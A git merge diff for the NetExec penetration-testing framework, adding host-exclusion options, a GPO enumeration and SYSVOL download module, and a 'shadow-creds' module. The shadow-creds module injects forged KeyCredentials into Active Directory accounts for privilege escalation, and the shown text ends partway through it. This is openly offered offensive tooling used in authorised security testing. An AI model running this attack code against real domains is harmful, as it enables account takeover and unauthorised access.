Merge branch 'main' into feat/gpos-module

Signed-off-by: Marshall Hallenbeck <[email protected]>

nxc/cli.py

@@ -32,6 +32,8 @@ def gen_cli_args():
     generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
     generic_group.add_argument("--timeout", default=None, type=int, help="[DEPRECATED] no longer used, replaced by per-protocol timeouts (--smb-timeout, --ldap-timeout, --dcom-timeout)")
     generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
+    generic_group.add_argument("--exclude-hosts", nargs="+", default=None, metavar="HOST", help="Exclude one or more hosts, IPs, CIDRs or hostnames from the scan")
+    generic_group.add_argument("--skip-self", action="store_true", help="Exclude the local machine from the scan")
 
     output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
     output_group = output_parser.add_argument_group("Output Options")

nxc/config.py

@@ -39,6 +39,12 @@ config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
 host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
 check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False)
 display_dc = nxc_config.getboolean("nxc", "display_dc", fallback=True)
+skip_self = nxc_config.getboolean("nxc", "skip_self", fallback=False)
+exclude_hosts = literal_eval(nxc_config.get("nxc", "exclude_hosts", fallback=[]))
+if not isinstance(exclude_hosts, list):
+    nxc_logger.error(f"exclude_hosts must be a 'list', got '{type(exclude_hosts).__name__}'. Exiting.")
+    exit(1)
+
 
 if len(host_info_colors) != 4:
     nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.")

nxc/connection.py

@@ -175,7 +175,7 @@ class connection:
         if self.kerberos:
             self.host = self.hostname
 
-        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
+        self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
@@ -242,9 +242,9 @@ class connection:
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
         if not self.create_conn_obj():
-            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
+            self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
         else:
-            self.logger.debug("Created connection object")
+            self.logger.info(f"Successfully created connection object for target '{self.host}'")
             self.enum_host_info()
 
             # Construct the output file template using os.path.join for OS compatibility

nxc/data/nxc.conf

@@ -8,6 +8,8 @@ log_mode = False
 host_info_colors = ["green", "red", "yellow", "cyan"]
 check_guest_account = False
 display_dc = True
+skip_self = False
+exclude_hosts = []
 
 [BloodHound]
 bh_enabled = False

nxc/helpers/ldap.py

@@ -0,0 +1,79 @@
+
+from datetime import datetime, timezone
+from impacket.ldap import ldap as ldap_impacket
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+
+
+def parse_ldap_timestamp(ts):
+    """Convert LDAP generalized time (e.g., '20240603160917.0Z')
+    to a human-readable string
+    """
+    if not ts:
+        return ""
+    try:
+        cleaned = ts.replace(".0Z", "").replace("Z", "")
+        dt = datetime.strptime(cleaned, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc)
+        return dt.strftime("%Y-%m-%d %H:%M:%S UTC")
+    except (ValueError, TypeError):
+        return ts
+
+
+def query_ldap_gpos(host, domain, username, password, lmhash, nthash, aes_key, kdc_host, kerberos, logger):
+    """Query LDAP for GPO metadata
+    Returns dict of {GUID: {displayName, ...}} or None on failure
+
+    This function is standalone so it can be reused by other modules
+    (e.g., a future list_gpos LDAP module)
+    """
+    base_dn = ",".join(f"DC={part}" for part in domain.split("."))
+    search_filter = "(objectClass=groupPolicyContainer)"
+    attributes = ["cn", "displayName", "gPCFileSysPath", "versionNumber", "whenCreated", "whenChanged"]
+
+    try:
+        ldap_url = f"ldap://{host}"
+        logger.debug(f"Connecting to LDAP at {ldap_url} for GPO metadata")
+        ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=base_dn, dstIp=host)
+
+        if kerberos:
+            ldap_connection.kerberosLogin(username, password, domain, lmhash, nthash, aes_key, kdcHost=kdc_host)
+        else:
+            ldap_connection.login(username, password, domain, lmhash, nthash)
+
+        search_base = f"CN=Policies,CN=System,{base_dn}"
+        logger.debug(f"Searching LDAP: base={search_base}, filter={search_filter}")
+        resp = ldap_connection.search(
+            searchFilter=search_filter,
+            attributes=attributes,
+            searchBase=search_base,
+            sizeLimit=0,
+        )
+
+        gpo_map = {}
+        for entry in resp:
+            if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
+                continue
+
+            attrs = {}
+            for attribute in entry["attributes"]:
+                attr_name = str(attribute["type"])
+                vals = [str(val) for val in attribute["vals"].components]
+                attrs[attr_name] = vals[0] if len(vals) == 1 else vals
+
+            guid = attrs.get("cn", "").upper()
+            if guid:
+                if not guid.startswith("{"):
+                    guid = f"{{{guid}}}"
+                gpo_map[guid] = {
+                    "displayName": attrs.get("displayName", "Unknown"),
+                    "gPCFileSysPath": attrs.get("gPCFileSysPath", ""),
+                    "versionNumber": attrs.get("versionNumber", "0"),
+                    "whenCreated": attrs.get("whenCreated", ""),
+                    "whenChanged": attrs.get("whenChanged", ""),
+                }
+
+        logger.debug(f"LDAP returned {len(gpo_map)} GPOs")
+        return gpo_map
+
+    except Exception as e:
+        logger.debug(f"LDAP GPO query failed: {e}")
+        return None

nxc/helpers/path.py

@@ -0,0 +1,13 @@
+from pathlib import PurePosixPath
+
+
+def sanitize_filename(name: str) -> str:
+    """Strip path traversal components from an SMB filename.
+
+    Follows the pattern from spider_plus.py — filters '..' and '.' from
+    PurePosixPath.parts to prevent directory traversal attacks from
+    malicious SMB servers.
+    """
+    parts = PurePosixPath(name.replace("\\", "/")).parts
+    clean = [p for p in parts if p not in ("..", ".", "/")]
+    return str(PurePosixPath(*clean)) if clean else ""

nxc/helpers/smb.py

@@ -0,0 +1,102 @@
+from impacket.dcerpc.v5 import transport, srvs
+from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
+from impacket.ldap import ldaptypes
+
+from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
+
+
+def get_share_security_descriptor(connection, share_name, path, sec_info_flags=None):
+    r"""Get the security descriptor for a file/folder on an SMB share via SRVS RPC.
+
+    Args:
+        connection: An NXC SMB connection object with host, username, password, etc.
+        share_name: The SMB share name (e.g. "SYSVOL").
+        path: The path within the share (e.g. "domain.local\\Policies\\{GUID}").
+        sec_info_flags: Security information flags to request. Defaults to
+            OWNER | GROUP | DACL.
+
+    Returns:
+        An SR_SECURITY_DESCRIPTOR parsed from the raw response.
+    """
+    if sec_info_flags is None:
+        sec_info_flags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
+
+    rpc_transport = transport.SMBTransport(
+        connection.host,
+        connection.host,
+        filename=r"\srvsvc",
+        smb_connection=connection.conn,
+    )
+
+    rpc_transport.set_credentials(
+        connection.username,
+        connection.password,
+        connection.domain,
+        connection.lmhash,
+        connection.nthash,
+        connection.aesKey,
+    )
+    rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
+
+    dce = rpc_transport.get_dce_rpc()
+    dce.connect()
+    dce.bind(srvs.MSRPC_UUID_SRVS)
+
+    # SRVS RPC requires null-terminated strings
+    rpc_share = f"{share_name}\x00"
+    rpc_path = f"\\{path.replace('/', chr(92))}\x00"
+
+    raw = srvs.hNetrpGetFileSecurity(dce, rpc_share, rpc_path, sec_info_flags)
+    dce.disconnect()
+
+    return ldaptypes.SR_SECURITY_DESCRIPTOR(raw)
+
+
+def parse_dacl_aces(sd, sid_resolver=None):
+    """Parse ACEs from a security descriptor's DACL into structured data.
+
+    Args:
+        sd: An SR_SECURITY_DESCRIPTOR (from impacket ldaptypes).
+        sid_resolver: Optional callable that takes a SID string and returns
+            a human-readable name. If None, SID names are left as empty strings.
+
+    Returns:
+        A dict with keys:
+            owner: {"sid": str, "name": str}
+            group: {"sid": str, "name": str}
+            aces: list of {"ace_type": str, "sid": str, "sid_name": str, "permissions": list[str], "raw_mask": int}
+        If there is no DACL, the ``aces`` list will be empty.
+    """
+    owner_sid = sd["OwnerSid"].formatCanonical() if sd["OwnerSid"] else ""
+    group_sid = sd["GroupSid"].formatCanonical() if sd["GroupSid"] else ""
+
+    result = {
+        "owner": {"sid": owner_sid, "name": sid_resolver(owner_sid) if sid_resolver and owner_sid else ""},
+        "group": {"sid": group_sid, "name": sid_resolver(group_sid) if sid_resolver and group_sid else ""},
+        "aces": [],
+    }
+
+    if not sd["Dacl"]:
+        return result
+
+    for i in range(sd["Dacl"]["AceCount"]):
+        ace = sd["Dacl"]["Data"][i]
+        ace_type = ace["TypeName"]
+        access_mask = int(ace["Ace"]["Mask"]["Mask"])
+        sid = ace["Ace"]["Sid"].formatCanonical()
+
+        permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
+
+        sid_name = ""
+        if sid_resolver:
+            sid_name = sid_resolver(sid)
+
+        result["aces"].append({
+            "ace_type": ace_type,
+            "sid": sid,
+            "sid_name": sid_name,
+            "permissions": permissions,
+            "raw_mask": access_mask,
+        })
+
+    return result

nxc/modules/coerce_plus.py

@@ -1083,7 +1083,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
 
 class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
     structure = (
-        ("Lenght", DWORD),
+        ("Length", DWORD),
         ("SID", RPC_SID),
         ("Hash", EFS_HASH_BLOB),
         ("Display", LPWSTR),

nxc/modules/efsr_spray.py

@@ -13,7 +13,7 @@ class NXCModule:
         """
         FILE_NAME      Name of the file which will be tried to create and afterwards delete
         SHARE_NAME     If set, ONLY this share will be used
-        EXCLUDED_SHARES List of share names which will not be used, seperated by comma
+        EXCLUDED_SHARES List of share names which will not be used, separated by comma
         """
 
     def on_login(self, context: Context, connection):

nxc/modules/gpos.py

@@ -0,0 +1,265 @@
+import json
+import ntpath
+import re
+import shutil
+from datetime import datetime, timezone
+from pathlib import Path
+from impacket.dcerpc.v5.lsat import DCERPCSessionError
+from nxc.config import process_secret
+from nxc.helpers.misc import CATEGORY
+from nxc.helpers.ldap import parse_ldap_timestamp, query_ldap_gpos
+from nxc.helpers.smb import get_share_security_descriptor, parse_dacl_aces
+from nxc.paths import NXC_PATH
+from nxc.protocols.smb.samrfunc import LSAQuery
+
+GUID_PATTERN = re.compile(r"^\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}$")
+
+
+class NXCModule:
+    """Module by @Marshall-Hallenbeck
+    Do things with Group Policy Objects (GPOs) in Active Directory
+    """
+
+    name = "gpos"
+    description = "Do things with Group Policy Objects (GPOs) in Active Directory"
+    supported_protocols = ["smb"]
+    category = CATEGORY.ENUMERATION
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+        self.gpo_name = None
+        self.fuzzy_search = False
+        self.all_props = False
+        self.download = True
+        self.download_dest = "Retrieved_GPOs"
+        self.list_permissions = False
+
+    def options(self, context, module_options):
+        """
+        NAME        Name of the GPO (default retrieve all GPOs)
+        FUZZY       Fuzzy search for name of GPOs (using wildcards)
+        ALL_PROPS   Retrieve all properties of the GPO (default is name, guid, and sysfile path)
+        DOWNLOAD    Download the GPOs to the local machine (default is True)
+        DEST        Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
+        LIST_PERMISSIONS List permissions for the GPOs (default is False)
+        """
+        self.gpo_name = module_options.get("NAME")
+        self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
+        self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
+        self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
+        self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
+        self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
+        context.log.debug(f"Module options: {self.gpo_name=}, {self.fuzzy_search=}, {self.all_props=}, {self.download=}, {self.download_dest=}, {self.list_permissions=}")
+
+    def on_login(self, context, connection):
+        gpo_ldap_map = query_ldap_gpos(
+            connection.host,
+            connection.domain,
+            connection.username,
+            connection.password,
+            connection.lmhash,
+            connection.nthash,
+            connection.aesKey,
+            connection.kdcHost,
+            connection.kerberos,
+            context.log,
+        )
+
+        if gpo_ldap_map is not None:
+            context.log.display(f"Queried {len(gpo_ldap_map)} GPOs via LDAP, enumerating SYSVOL via SMB")
+        else:
+            context.log.display("LDAP query failed, falling back to SMB-only (names may show as 'Unknown')")
+
+        policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
+        context.log.debug(f"Found policies path: {connection.domain}\\Policies")
+
+        gpos_found = []
+
+        for item in policies:
+            item_name = item.get_longname()
+            context.log.debug(f"Item: {item}, Item name: {item_name}")
+            if item_name not in [".", ".."] and item.is_directory() and GUID_PATTERN.match(item_name):
+                gpo_guid = item_name
+                gpo_path = ntpath.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
+
+                ldap_data = gpo_ldap_map.get(gpo_guid.upper()) if gpo_ldap_map else None
+                display_name = ldap_data["displayName"] if ldap_data else self.get_gpo_display_name_from_sysvol(context, connection, gpo_path)
+
+                if self.gpo_name:
+                    match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
+                    if not match:
+                        continue
+
+                gpos_found.append((gpo_guid, gpo_path, display_name, ldap_data))
+
+                context.log.success(f"GPO Found: '{display_name}'")
+                context.log.highlight(f"Display Name: {display_name}")
+                context.log.highlight(f"GUID: {gpo_guid}")
+                context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
+
+                if self.all_props and ldap_data:
+                    context.log.highlight(f"Version: {ldap_data['versionNumber']}")
+                    context.log.highlight(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}")
+                    context.log.highlight(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}")
+
+                if self.list_permissions:
+                    self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
+
+                if self.download:
+                    context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
+                    gpo_dest = Path(self.download_dest) / gpo_guid
+                    self.download_gpo(context, connection, gpo_path, gpo_dest, gpo_guid)
+
+        context.log.success(f"GPOs Found: {len(gpos_found)}")
+
+        if gpos_found:
+            self.save_gpo_loot(context, connection, gpos_found)
+
+    def save_gpo_loot(self, context, connection, gpos_found):
+        """Save GPO information to the NXC loot directory in text and JSON format."""
+        loot_dir = Path(NXC_PATH) / "modules" / "gpos" / connection.domain / connection.host
+        loot_dir.mkdir(parents=True, exist_ok=True)
+
+        all_gpos_json = []
+
+        for gpo_guid, gpo_path, display_name, ldap_data in gpos_found:
+            gpo_dir = loot_dir / gpo_guid
+            gpo_dir.mkdir(parents=True, exist_ok=True)
+
+            gpo_info = {
+                "guid": gpo_guid,
+                "displayName": display_name,
+                "sysvolPath": f"\\\\SYSVOL\\{gpo_path}",
+            }
+            if ldap_data:
+                gpo_info["versionNumber"] = ldap_data["versionNumber"]
+                gpo_info["whenCreated"] = parse_ldap_timestamp(ldap_data["whenCreated"])
+                gpo_info["whenChanged"] = parse_ldap_timestamp(ldap_data["whenChanged"])
+                gpo_info["gPCFileSysPath"] = ldap_data["gPCFileSysPath"]
+
+            all_gpos_json.append(gpo_info)
+
+            json_path = gpo_dir / "info.json"
+            with open(json_path, "w") as f:
+                json.dump(gpo_info, f, indent=4)
+
+            txt_path = gpo_dir / "info.txt"
+            with open(txt_path, "w") as f:
+                f.write(f"Display Name: {display_name}\n")
+                f.write(f"GUID: {gpo_guid}\n")
+                f.write(f"SYSVOL Path: \\\\SYSVOL\\{gpo_path}\n")
+                if ldap_data:
+                    f.write(f"Version: {ldap_data['versionNumber']}\n")
+                    f.write(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}\n")
+                    f.write(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}\n")
+                    f.write(f"gPCFileSysPath: {ldap_data['gPCFileSysPath']}\n")
+
+        all_json_path = loot_dir / "gpos.json"
+        with open(all_json_path, "w") as f:
+            json.dump(all_gpos_json, f, indent=4)
+
+        all_txt_path = loot_dir / "gpos.txt"
+        with open(all_txt_path, "w") as f:
+            f.write(f"GPOs enumerated from {connection.domain} ({connection.host})\n")
+            f.write(f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}\n")
+            f.write(f"Total: {len(all_gpos_json)}\n")
+            f.write("=" * 60 + "\n\n")
+            for gpo in all_gpos_json:
+                f.write(f"Display Name: {gpo['displayName']}\n")
+                f.write(f"GUID: {gpo['guid']}\n")
+                f.write(f"SYSVOL Path: {gpo['sysvolPath']}\n")
+                if "versionNumber" in gpo:
+                    f.write(f"Version: {gpo['versionNumber']}\n")
+                    f.write(f"Created: {gpo['whenCreated']}\n")
+                    f.write(f"Modified: {gpo['whenChanged']}\n")
+                f.write("-" * 60 + "\n\n")
+
+        context.log.display(f"GPO info saved to {loot_dir}")
+
+    def get_gpo_display_name_from_sysvol(self, context, connection, gpo_path):
+        """Try to get the display name of a GPO by reading GPT.ini from SYSVOL via SMB"""
+        try:
+            ini_path = f"{gpo_path}\\GPT.ini"
+            context.log.debug(f"GPT.ini path: {ini_path}")
+            ini_content = bytearray()
+
+            def callback(data):
+                ini_content.extend(data)
+
+            connection.conn.getFile("SYSVOL", ini_path, callback)
+            ini_text = ini_content.decode("utf-8", errors="replace")
+
+            for line in ini_text.splitlines():
+                if line.lower().startswith("displayname="):
+                    return line.strip().split("=", 1)[1]
+
+            return "Unknown"
+        except Exception as e:
+            context.log.debug(f"Could not read GPO display name: {e}")
+            return ntpath.basename(gpo_path)
+
+    def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
+        """Download a GPO from the SYSVOL share using the appropriate method"""
+        context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
+
+        original_share = smb_conn.args.share
+
+        try:
+            smb_conn.args.share = "SYSVOL"
+            smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
+            context.log.success(f"GPO {guid} downloaded to {dest_folder}")
+        except Exception as e:
+            context.log.fail(f"Error downloading GPO {guid}: {e}")
+            if Path(dest_folder).exists():
+                try:
+                    shutil.rmtree(dest_folder)
+                except Exception as cleanup_error:
+                    context.log.debug(f"Error cleaning up directory: {cleanup_error}")
+
+            context.log.highlight("To manually download this GPO, use the following command:")
+            context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
+        finally:
+            smb_conn.args.share = original_share
+
+    def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
+        """Get security information for a GPO folder and analyze permissions."""
+        context.log.debug(f"Getting security info for GPO path: {gpo_path}")
+
+        sd = get_share_security_descriptor(connection, "SYSVOL", gpo_path)
+        context.log.success("Retrieved security information")
+
+        try:
+            lsa_query = LSAQuery(connection=connection, logger=context.log)
+        except Exception as lsa_error:
+            context.log.debug(f"Error creating LSAQuery: {lsa_error}")
+            return
+
+        def resolve_sid(sid):
+            try:
+                return lsa_query.lookup_sids([sid])[0]
+            except DCERPCSessionError as e:
+                context.log.debug(f"Error looking up SID {sid}: {e}")
+                return "Unknown (potentially deleted user)"
+
+        parsed = parse_dacl_aces(sd, sid_resolver=resolve_sid)
+        if not parsed:
+            return
+
+        context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
+
+        if parsed["owner"]["sid"]:
+            context.log.highlight(f"  Owner SID: {parsed['owner']['sid']} - {parsed['owner']['name']}")
+        if parsed["group"]["sid"]:
+            context.log.highlight(f"  Group SID: {parsed['group']['sid']} - {parsed['group']['name']}")
+
+        if not parsed["aces"]:
+            context.log.highlight("  No DACL found - no access restrictions")
+            return
+
+        context.log.highlight(f"  DACL: {len(parsed['aces'])} ACEs (Access Control Entries)")
+        for i, ace in enumerate(parsed["aces"]):
+            perm_str = ", ".join(ace["permissions"]) if ace["permissions"] else f"0x{ace['raw_mask']:08x}"
+            context.log.highlight(f"    ACE {i + 1}: {ace['ace_type']}")
+            context.log.highlight(f"         SID: {ace['sid']} - {ace['sid_name']}")
+            context.log.highlight(f"         Permissions: {perm_str}")

nxc/modules/impersonate.py

@@ -101,7 +101,7 @@ class NXCModule:
                     context.log.fail("Invalid token ID submitted")
 
         except Exception as e:
-            context.log.fail(f"Error runing command: {e}")
+            context.log.fail(f"Error running command: {e}")
         finally:
             try:
                 connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")

nxc/modules/ntds-dump-raw.py

@@ -519,10 +519,10 @@ class NXCModule:
         parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
 
         if "$FILE_NAME" in parsed_header:
-            filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
+            filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
             curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
 
-            curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
+            curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
 
         if "$DATA" in parsed_header:
             dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])

nxc/modules/remove-mic.py

@@ -2,7 +2,7 @@
 #  Dirk-jan Mollema (@_dirkjan)
 #  dlive (@D1iv3)
 #
-# Refernece:
+# Reference:
 #  - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
 #  - https://github.com/fox-it/cve-2019-1040-scanner
 #  - https://github.com/Dliv3/cve-2019-1040-scanner

nxc/modules/shadow-creds.py

@@ -0,0 +1,249 @@
+import json
+from pathlib import Path
+
+from cryptography.hazmat.primitives.serialization import NoEncryption
+from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
+from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
+from dsinternals.common.data.DNWithBinary import DNWithBinary
+from dsinternals.common.data.hello.KeyCredential import KeyCredential
+from dsinternals.system.DateTime import DateTime
+from dsinternals.system.Guid import Guid
+from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
+
+from nxc.helpers.misc import CATEGORY
+from nxc.parsers.ldap_results import parse_result_attributes
+from nxc.paths import NXC_PATH
+
+
+class NXCModule:
+    """
+    Made by @NeffIsBack
+    Heavily inspired by the pyWhisker project by Shutdown:
+    https://github.com/ShutdownRepo/pywhisker
+    """
+
+    name = "shadow-creds"
+    description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
+    supported_protocols = ["ldap"]
+    category = CATEGORY.PRIVILEGE_ESCALATION
+
+    def options(self, context, module_options):
+        """
+        TARGET      sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
+        ACTION      Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
+        DEVICE_ID   KeyCredential device ID; required for info and remove
+        JSONFILE    JSON backup path; required for revert and optional for backup
+
+        Examples:
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
+        netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
+        """
+        self.target = module_options.get("TARGET", "").strip()
+        self.action = module_options.get("ACTION", "list").lower().strip()
+        self.device_id = module_options.get("DEVICE_ID")
+        self.jsonfile = module_options.get("JSONFILE")
+
+        if not self.target:
+            context.log.fail("TARGET is required")
+            return False
+        if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
+            context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
+            return False
+        if self.action in {"info", "remove"} and not self.device_id:
+            context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
+            return False
+        if self.action == "revert" and not self.jsonfile:
+            context.log.fail("JSONFILE is required for ACTION=revert")
+            return False
+
+    def on_login(self, context, connection):
+        self.context = context
+        self.connection = connection
+
+        resp = connection.search(
+            searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
+            attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
+        )
+        resp_parsed = parse_result_attributes(resp)
+        if not resp_parsed:
+            context.log.fail(f"Account '{self.target}' was not found")
+            return
+
+        target_dn = resp_parsed[0]["distinguishedName"]
+        raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
+        raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
+
+        if self.action == "list":
+            self.list(self.parse_credentials(raw_values))
+        elif self.action == "add":
+            self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
+        elif self.action == "info":
+            self.info(self.parse_credentials(raw_values))
+        elif self.action == "remove":
+            self.remove(target_dn, self.parse_credentials(raw_values))
+        elif self.action == "clear":
+            self.clear(target_dn, raw_values)
+        elif self.action == "backup":
+            self.backup(raw_values)
+        elif self.action == "revert":
+            self.revert(target_dn)
+
+    def parse_credentials(self, raw_values):
+        credentials = []
+        for raw_value in raw_values:
+            try:
+                # AD stores each KeyCredential as a textual DN-Binary value.
+                credentials.append(
+                    (
+                        raw_value,
+                        KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
+                    )
+                )
+            except Exception as e:
+                self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
+        return credentials
+
+    def get_credential(self, credentials):
+        for raw_value, credential in credentials:
+            if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
+                return raw_value, credential
+        self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
+        return None
+
+    def list(self, credentials):
+        if not credentials:
+            self.context.log.display(f"No KeyCredentials found on {self.target}")
+            return
+
+        self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
+        for _, credential in credentials:
+            self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
+
+    def add(self, target_dn, is_computer):
+        try:
+            certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
+            credential = KeyCredential.fromX509Certificate2(
+                certificate=certificate,
+                deviceId=Guid(),
+                owner=target_dn,
+                currentTime=DateTime(),
+                isComputerKey=is_computer,
+            )
+            device_id = credential.DeviceId.toFormatD().lower()
+            ldap_value = credential.toDNWithBinary().toString()
+            output_path = self.write_pfx(certificate, device_id)
+        except Exception as e:
+            self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
+            return
+
+        try:
+            # Add one value instead of replacing the complete multi-valued attribute.
+            self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
+        except LDAPSessionError as e:
+            self.context.log.fail(f"Failed to add the KeyCredential: {e}")
+            self.context.log.display(f"Generated PFX retained at {output_path}")
+            return
+
+        self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
+        self.context.log.highlight(f"PFX: {output_path}")
+
+    def write_pfx(self, certificate, device_id):
+        output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
+        output_dir.mkdir(parents=True, exist_ok=True)
+        output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
+
+        output_path.write_bytes(
+            serialize_key_and_certificates(
+                name=self.target.encode("utf-8"),
+                key=certificate.key.to_cryptography_key(),
+                cert=certificate.certificate.to_cryptography(),
+                cas=None,
+                encryption_algorithm=NoEncryption(),
+            )
+        )
+        return output_path
+
+    def info(self, credentials):
+        result = self.get_credential(credentials)
+        if result is None:
+            return
+
+        _, credential = result
+        self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
+        for name, value in {
+            "Owner": credential.Owner,
+            "Device ID": credential.DeviceId.toFormatD().lower(),
+            "Version": hex(credential.Version.value),
+            "Key ID": credential.Identifier,
+            "Key hash": credential.KeyHash.hex(),
+            "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
+            "  Exponent (E)": credential.RawKeyMaterial.exponent,
+            "  Modulus (N)": hex(credential.RawKeyMaterial.modulus),
+            "  Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
+            "  Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
+            "Usage": credential.Usage,
+            "Legacy usage": credential.LegacyUsage,
+            "Source": credential.Source,
